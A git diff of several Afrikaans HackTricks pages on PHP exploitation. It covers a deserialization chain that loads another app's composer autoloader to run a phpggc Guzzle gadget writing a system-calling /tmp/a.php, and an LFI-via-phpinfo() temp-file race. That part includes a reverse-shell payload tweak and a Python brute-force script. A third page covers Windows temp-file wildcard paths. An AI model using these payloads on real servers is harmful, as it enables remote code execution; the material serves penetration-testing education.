* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,31 +1,32 @@
# PHP - Deserialisasie + Autoload Klasse
# PHP - Deserialisering + Autoload Klasse
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Eerstens moet jy nagaan wat [**Autoloading-klasse**](https://www.php.net/manual/en/language.oop5.autoload.php) is.
Eerstens, jy moet kyk wat [**Autoloading Klassen**](https://www.php.net/manual/en/language.oop5.autoload.php) is.
## PHP deserialisasie + spl\_autoload\_register + LFI/Gadget
## PHP deserialisering + spl\_autoload\_register + LFI/Gadget
Ons is in 'n situasie waar ons 'n **PHP deserialisasie in 'n webtoepassing** gevind het sonder 'n biblioteek wat vatbaar is vir gadgets binne **`phpggc`**. Tog was daar in dieselfde houer 'n **ander komponis-webtoepassing met vatbare biblioteke**. Daarom was die doel om die **komponislaaier van die ander webtoepassing te laai** en dit te misbruik om 'n gadget te laai wat daardie biblioteek met 'n gadget sal uitbuit van die webtoepassing wat vatbaar is vir deserialisasie.
Ons is in 'n situasie waar ons 'n **PHP deserialisering in 'n webapp** gevind het met **geen** biblioteek wat kwesbaar is vir gadgets binne **`phpggc`** nie. Tog, in dieselfde houer was daar 'n **ander komponis webapp met kwesbare biblioteke**. Daarom was die doel om die **komponislaaier van die ander webapp** te **laai** en dit te misbruik om 'n **gadget te laai wat daardie biblioteek met 'n gadget** van die webapp wat kwesbaar is vir deserialisering, sal ontplof.
Stappe:
* Jy het 'n **deserialisasie** gevind en daar is **geen gadget** in die huidige toepassingskode nie
* Jy kan 'n **`spl_autoload_register`**-funksie misbruik soos die volgende om enige plaaslike lêer met die `.php`-uitbreiding te laai
* Hiervoor gebruik jy 'n deserialisasie waar die naam van die klas binne **`$name`** gaan wees. Jy **kan nie "/" of "."** in 'n klasnaam in 'n geserialiseerde voorwerp gebruik nie, maar die **kode** vervang die **onderstreep** ("\_") **met slaggate** ("/"). So 'n klasnaam soos `tmp_passwd` sal omskep word na `/tmp/passwd.php` en die kode sal probeer om dit te laai.\
'n **Gadget-voorbeeld** sal wees: **`O:10:"tmp_passwd":0:{}`**
* Jy het 'n **deserialisering** gevind en daar **is geen gadget** in die huidige app kode nie
* Jy kan 'n **`spl_autoload_register`** funksie soos die volgende misbruik om **enige plaaslike lêer met `.php` uitbreiding** te **laai**
* Hiervoor gebruik jy 'n deserialisering waar die naam van die klas binne **`$name`** gaan wees. Jy **kan nie "/" of "."** in 'n klasnaam in 'n geserialiseerde objek gebruik nie, maar die **kode** vervang die **onderstrepings** ("\_") **met skewe strepies** ("/"). So 'n klasnaam soos `tmp_passwd` sal omgeskakel word na `/tmp/passwd.php` en die kode sal probeer om dit te laai.\
'n **Gadget voorbeeld** sal wees: **`O:10:"tmp_passwd":0:{}`**
```php
spl_autoload_register(function ($name) {
@ -48,16 +49,16 @@ require __DIR__ . $filename;
});
```
{% hint style="success" %}
As jy 'n **lêer oplaai** en 'n lêer met 'n **`.php` uitbreiding** kan oplaai, kan jy hierdie funksionaliteit direk **misbruik** en reeds RCE kry.
As jy 'n **lêeroplaai** het en 'n lêer met **`.php`-uitbreiding** kan oplaai, kan jy hierdie funksionaliteit direk **misbruik** en reeds RCE kry.
{% endhint %}
In my geval het ek nie iets soos dit gehad nie, maar daar was binne dieselfde houer 'n ander komponisie webblad met 'n **biblioteek wat vatbaar is vir 'n `phpggc` gadget**.
In my geval, het ek niks soos dit gehad nie, maar daar was binne die **dieselfde houer** 'n ander komponis webblad met 'n **biblioteek wat kwesbaar is vir 'n `phpggc` gadget**.
* Om hierdie ander biblioteek te laai, moet jy eers die **komponisie laaier van daardie ander webtoepassing laai** (omdat die een van die huidige aansoek nie toegang sal hê tot die biblioteke van die ander een nie.) **Deur die pad van die aansoek te ken**, kan jy dit baie maklik bereik met: **`O:28:"www_frontend_vendor_autoload":0:{}`** (In my geval was die komponisie laaier in `/www/frontend/vendor/autoload.php`)
* Nou kan jy die **komponisie laaier van die ander toepassing laai**, dus is dit tyd om die **`phpggc` payload te genereer** om te gebruik. In my geval het ek **`Guzzle/FW1`** gebruik, wat my in staat gestel het om enige lêer binne die lêersisteem te skryf.
* NOTA: Die **gegenereerde gadget het nie gewerk nie**, sodat dit werk, het ek daardie payload **`chain.php`** van phpggc gewysig en **alle eienskappe van die klasse van privaat na openbaar gesit**. As dit nie gedoen word nie, het die eienskappe van die geskepte voorwerpe na die deserialisering van die string geen waardes gehad nie.
* Nou het ons die manier om die **komponisie laaier van die ander toepassing te laai** en 'n **phpggc payload wat werk**, maar ons moet dit **in DIESELFDE VERSOEK doen sodat die laaier gelaai word wanneer die gadget gebruik word**. Vir dit het ek 'n geserializeerde reeks met beide voorwerpe gestuur soos:
* Jy kan **eerstens die laaier sien wat gelaai word en dan die payload**
* Om hierdie ander biblioteek te laai, moet jy eers die **komponislaaier van daardie ander webtoepassing laai** (want die een van die huidige toepassing sal nie toegang hê tot die biblioteke van die ander nie.) **Deur die pad van die toepassing te ken**, kan jy dit baie maklik bereik met: **`O:28:"www_frontend_vendor_autoload":0:{}`** (In my geval was die komponislaaier in `/www/frontend/vendor/autoload.php`)
* Nou kan jy die **ander app komponislaaier laai**, so dit is tyd om die **`phpgcc`** **payload** te genereer om te gebruik. In my geval het ek **`Guzzle/FW1`** gebruik, wat my toegelaat het om **enige lêer binne die lêerstelsel te skryf**.
* LET WEL: Die **gegenereerde gadget het nie gewerk nie**, om dit te laat werk het ek daardie payload **`chain.php`** van phpggc **gewysig** en **alle eienskappe** van die klasse **van privaat na publiek** gestel. As dit nie gedoen word nie, het die eienskappe van die geskepte objek na deserialisering van die string geen waardes gehad nie.
* Nou het ons die manier om die **ander app komponislaaier te laai** en 'n **phpggc payload wat werk**, maar ons moet dit **in dieselfde versoek doen sodat die laaier gelaai kan word wanneer die gadget gebruik word**. Hiervoor het ek 'n geserialiseerde array met albei objekke gestuur soos:
* Jy kan **eers die laaier sien wat gelaai word en dan die payload**
{% code overflow="wrap" %}
```php
@ -65,7 +66,7 @@ a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"Guzz
```
{% endcode %}
* Nou kan ons 'n lêer skep en skryf, maar die gebruiker kan nie in enige vouer binne die webbediener skryf nie. Soos u kan sien in die payload, word PHP opgeroep met 'n bietjie base64 wat in /tmp/a.php geskep is. Dan kan ons die eerste tipe payload hergebruik wat ons as LFI gebruik het om die komponislaaier van die ander webtoepassing te laai om die gegenereerde /tmp/a.php-lêer te laai. Voeg dit net by die deserialisasie-gadget:&#x20;
* Nou kan ons **'n lêer skep en skryf**, egter, die gebruiker **kon nie in enige gids binne die webbediener skryf nie**. Soos jy in die payload kan sien, word PHP **`system`** met 'n paar **base64** geskep in **`/tmp/a.php`**. Dan kan ons **die eerste tipe payload hergebruik** wat ons gebruik het as LFI om die composer loader van die ander webapp te laai **om die gegenereerde `/tmp/a.php`** lêer te laai. Voeg dit net by die deserialisering gadget:&#x20;
{% code overflow="wrap" %}
```php
@ -73,25 +74,26 @@ a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"Guzz
```
{% endcode %}
**Opsomming van die lading**
**Opsomming van die payload**
* **Laai die komponis outomatiese laai** van 'n ander webtoepassing in dieselfde houer
* **Laai 'n phpggc-toestel** om 'n biblioteek van die ander webtoepassing te misbruik (die oorspronklike webtoepassing wat vatbaar is vir deserialisering het geen toestel in sy biblioteke gehad nie)
* Die toestel sal 'n lêer met 'n PHP-lading daarop skep in /tmp/a.php met skadelike opdragte (die webtoepassing-gebruiker kan nie in enige vouer van enige webtoepassing skryf nie)
* Die finale deel van ons lading sal gebruik maak van **laai die gegenereerde php-lêer** wat opdragte sal uitvoer
* **Laai die composer autoload** van 'n ander webapp in dieselfde houer
* **Laai 'n phpggc gadget** om 'n biblioteek van die ander webapp te misbruik (die aanvanklike webapp wat kwesbaar was vir deserialisering het geen gadgets in sy biblioteke gehad nie)
* Die gadget sal **'n lêer met 'n PHP payload** daarop in /tmp/a.php met kwaadwillige opdragte skep (die webapp gebruiker kan nie in enige gids van enige webapp skryf nie)
* Die finale deel van ons payload sal **die gegenereerde php-lêer laai** wat opdragte sal uitvoer
Ek moes **hierdie deserialisering twee keer roep**. In my toetsing is die `/tmp/a.php`-lêer die eerste keer geskep maar nie gelaai nie, en die tweede keer is dit korrek gelaai.
Ek moes **hierdie deserialisering twee keer aanroep**. In my toetsing is die eerste keer die `/tmp/a.php` lêer geskep maar nie gelaai nie, en die tweede keer is dit korrek gelaai.
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,47 +1,48 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Om van hierdie kwesbaarheid gebruik te maak, benodig jy: **'n LFI-kwesbaarheid, 'n bladsy waar phpinfo() vertoon word, "file\_uploads = on" en die bediener moet in staat wees om in die "/tmp" gids te skryf.**
Om hierdie kwesbaarheid te benut, benodig jy: **'n LFI kwesbaarheid, 'n bladsy waar phpinfo() vertoon word, "file\_uploads = on" en die bediener moet in staat wees om in die "/tmp" gids te skryf.**
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
Jy moet die uitbuiting regstel (verander **=>** na **=>**). Jy kan dit doen deur:
Jy moet die eksploitasie regmaak (verander **=>** na **=>**). Om dit te doen kan jy doen:
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```
Jy moet ook die **payload** aan die begin van die aanval verander (byvoorbeeld vir 'n php-rev-shell), die **REQ1** (dit moet na die phpinfo-bladsy wys en die padding ingesluit hê, bv.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), en **LFIREQ** (dit moet na die LFI kwesbaarheid wys, bv.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Kyk na die dubbele "%" wanneer jy die null karakter uitbuit)
You moet ook die **payload** aan die begin van die exploit verander (vir 'n php-rev-shell byvoorbeeld), die **REQ1** (dit moet na die phpinfo-bladsy wys en die padding ingesluit hê, d.w.s.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), en **LFIREQ** (dit moet na die LFI kwesbaarheid wys, d.w.s.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Kontroleer die dubbele "%" wanneer jy null char exploiteer)
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
### Teorie
As oplaai toegelaat word in PHP en jy probeer 'n lêer oplaai, word hierdie lêer gestoor in 'n tydelike gids totdat die bediener klaar is met die verwerking van die versoek, waarna hierdie tydelike lêer verwyder word.
As opgelaai word in PHP toegelaat en jy probeer om 'n lêer op te laai, word hierdie lêers in 'n tydelike gids gestoor totdat die bediener klaar is met die verwerking van die versoek, dan word hierdie tydelike lêers verwyder.
Dan, as jy 'n LFI kwesbaarheid in die webbediener gevind het, kan jy probeer raai wat die naam van die tydelike lêer is en 'n RCE uitbuit deur toegang tot die tydelike lêer te verkry voordat dit verwyder word.
As jy 'n LFI kwesbaarheid in die webbediener gevind het, kan jy probeer om die naam van die tydelike lêer wat geskep is te raai en 'n RCE te exploiteer deur toegang te verkry tot die tydelike lêer voordat dit verwyder word.
In **Windows** word die lêers gewoonlik gestoor in **C:\Windows\temp\php**
In **Linux** is die naam van die lêer gewoonlik **willekeurig** en geleë in **/tmp**. Aangesien die naam willekeurig is, moet dit **uit êrens die naam van die tydelike lêer onttrek** en dit toegang voordat dit verwyder word. Dit kan gedoen word deur die waarde van die **variable $\_FILES** binne die inhoud van die funksie "**phpconfig()**" te lees.
In **linux** was die naam van die lêer gewoonlik **random** en geleë in **/tmp**. Aangesien die naam random is, is dit nodig om **uit 'n plek die naam van die tydelike lêer te onttrek** en dit te benader voordat dit verwyder word. Dit kan gedoen word deur die waarde van die **variabele $\_FILES** binne die inhoud van die funksie "**phpconfig()**" te lees.
**phpinfo()**
**PHP** gebruik 'n buffer van **4096B** en wanneer dit **vol** is, word dit **gestuur na die kliënt**. Dan kan die kliënt **baie groot versoek** stuur (met groot koppe) om 'n php omgekeerde skulp te oplaai, wag vir die **eerste deel van die phpinfo() om terug te keer** (waar die naam van die tydelike lêer is) en probeer om **toegang tot die tydelike lêer** te verkry voordat die php-bedienaar die lêer verwyder deur 'n LFI kwesbaarheid uit te buit.
**PHP** gebruik 'n buffer van **4096B** en wanneer dit **vol** is, word dit **na die kliënt gestuur**. Dan kan die kliënt **'n groot aantal groot versoeke stuur** (met groot koppe) **wat 'n php** omgekeerde **shell** oplaai, wag vir die **eerste deel van die phpinfo() om teruggestuur te word** (waar die naam van die tydelike lêer is) en probeer om **toegang tot die tydelike lêer te verkry** voordat die php bediener die lêer verwyder deur 'n LFI kwesbaarheid te exploiteer.
**Python-skripsie om te probeer om die naam te raai (as lengte = 6)**
**Python skrip om te probeer om die naam te bruteforce (as lengte = 6)**
```python
import itertools
import requests
@ -63,16 +64,17 @@ sys.exit(0)
print('[x] Something went wrong, please try again')
```
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,60 +1,62 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Kyk na die volledige besonderhede van hierdie tegniek in [https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf](https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf)**
## **PHP-lêeroplaaiing**
## **PHP Lêer opgelaai**
Wanneer 'n **PHP**-enjin 'n **POST-aanvraag** ontvang wat lêers bevat wat volgens RFC 1867 geformateer is, genereer dit tydelike lêers om die opgelaaide data te stoor. Hierdie lêers is noodsaaklik vir die hanteer van lêeroplaaiing in PHP-skripte. Die `move_uploaded_file`-funksie moet gebruik word om hierdie tydelike lêers na 'n gewenste plek te skuif as volgehoue berging buite die uitvoering van die skrip nodig is. Na uitvoering verwyder PHP outomaties enige oorblywende tydelike lêers.
Wanneer 'n **PHP** enjin 'n **POST versoek** ontvang wat lêers bevat wat volgens RFC 1867 geformateer is, genereer dit tydelike lêers om die opgelaaide data te stoor. Hierdie lêers is noodsaaklik vir lêeroplaai hanteering in PHP skripte. Die `move_uploaded_file` funksie moet gebruik word om hierdie tydelike lêers na 'n gewenste ligging te verskuif indien volhoubare stoorplek buite die skrip se uitvoering benodig word. Na uitvoering, verwyder PHP outomaties enige oorblywende tydelike lêers.
{% hint style="info" %}
**Veiligheidswaarskuwing: Aanvallers kan, bewus van die ligging van die tydelike lêers, 'n plaaslike lêerinsluitingskwesbaarheid uitbuit om kode uit te voer deur die lêer tydens die oplaaiing te benader.**
**Sekuriteitswaarskuwing: Aanvallers, wat bewus is van die tydelike lêers se ligging, mag 'n Local File Inclusion kwesbaarheid benut om kode uit te voer deur toegang tot die lêer tydens opgelaai.**
{% endhint %}
Die uitdaging vir ongemagtigde toegang lê daarin om die naam van die tydelike lêer te voorspel, wat doelbewus willekeurig gemaak word.
Die uitdaging vir ongemagtigde toegang lê in die voorspelling van die tydelike lêer se naam, wat doelbewus gerandomiseer is.
#### Uitbuiting op Windows-stelsels
#### Exploitatie op Windows Stelsels
Op Windows genereer PHP tydelike lêernaam met behulp van die `GetTempFileName`-funksie, wat 'n patroon soos `<pad>\<pre><uuuu>.TMP` tot gevolg het. Merk op:
Op Windows genereer PHP tydelike lêernames met die `GetTempFileName` funksie, wat 'n patroon soos `<path>\<pre><uuuu>.TMP` oplewer. Opmerklik:
- Die verstekpad is tipies `C:\Windows\Temp`.
- Die standaard pad is tipies `C:\Windows\Temp`.
- Die voorvoegsel is gewoonlik "php".
- Die `<uuuu>` verteenwoordig 'n unieke heksadesimale waarde. Krities is dat slegs die laer 16-bits gebruik word as gevolg van die beperking van die funksie, wat 'n maksimum van 65,535 unieke name met konstante pad en voorvoegsel moontlik maak, wat brute krag uitvoerbaar maak.
- Die `<uuuu>` verteenwoordig 'n unieke hexadesimale waarde. Krities, as gevolg van die funksie se beperking, word slegs die laer 16 bits gebruik, wat 'n maksimum van 65,535 unieke name met konstante pad en voorvoegsel moontlik maak, wat brute force haalbaar maak.
Verder is die uitbuitingsproses vereenvoudig op Windows-stelsels. 'n Eienskap in die `FindFirstFile`-funksie maak die gebruik van wildcards in plaaslike lêerinsluitings (LFI) paaie moontlik. Dit maak dit moontlik om 'n insluitingspad soos die volgende te skep om die tydelike lêer te vind:
Boonop is die eksploitasiestap vereenvoudig op Windows stelsels. 'n Besonderheid in die `FindFirstFile` funksie laat die gebruik van wildcard in Local File Inclusion (LFI) pades toe. Dit stel in staat om 'n insluitpad soos die volgende te skep om die tydelike lêer te vind:
```
http://site/vuln.php?inc=c:\windows\temp\php<<
```
In sekere situasies mag 'n meer spesifieke masker (soos `php1<<` of `phpA<<`) vereis word. 'n Mens kan sistematies hierdie maskers probeer om die opgelaaide tydelike lêer te ontdek.
In sekere situasies mag 'n meer spesifieke masker (soos `php1<<` of `phpA<<`) benodig word. 'n Mens kan sistematies hierdie maskers probeer om die opgelaaide tydelike lêer te ontdek.
#### Uitbuiting op GNU/Linux-stelsels
#### Exploitatie op GNU/Linux Stelsels
Vir GNU/Linux-stelsels is die willekeurigheid in die naamgewing van tydelike lêers robuust, wat die name nie voorspelbaar of vatbaar vir brute krag-aanvalle maak nie. Verdere besonderhede kan in die verwysde dokumentasie gevind word.
Vir GNU/Linux stelsels is die ewekansigheid in tydelike lêernaamgewing robuust, wat die name nie voorspelbaar of vatbaar vir brute force-aanvalle maak nie. Verdere besonderhede kan in die verwysde dokumentasie gevind word.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
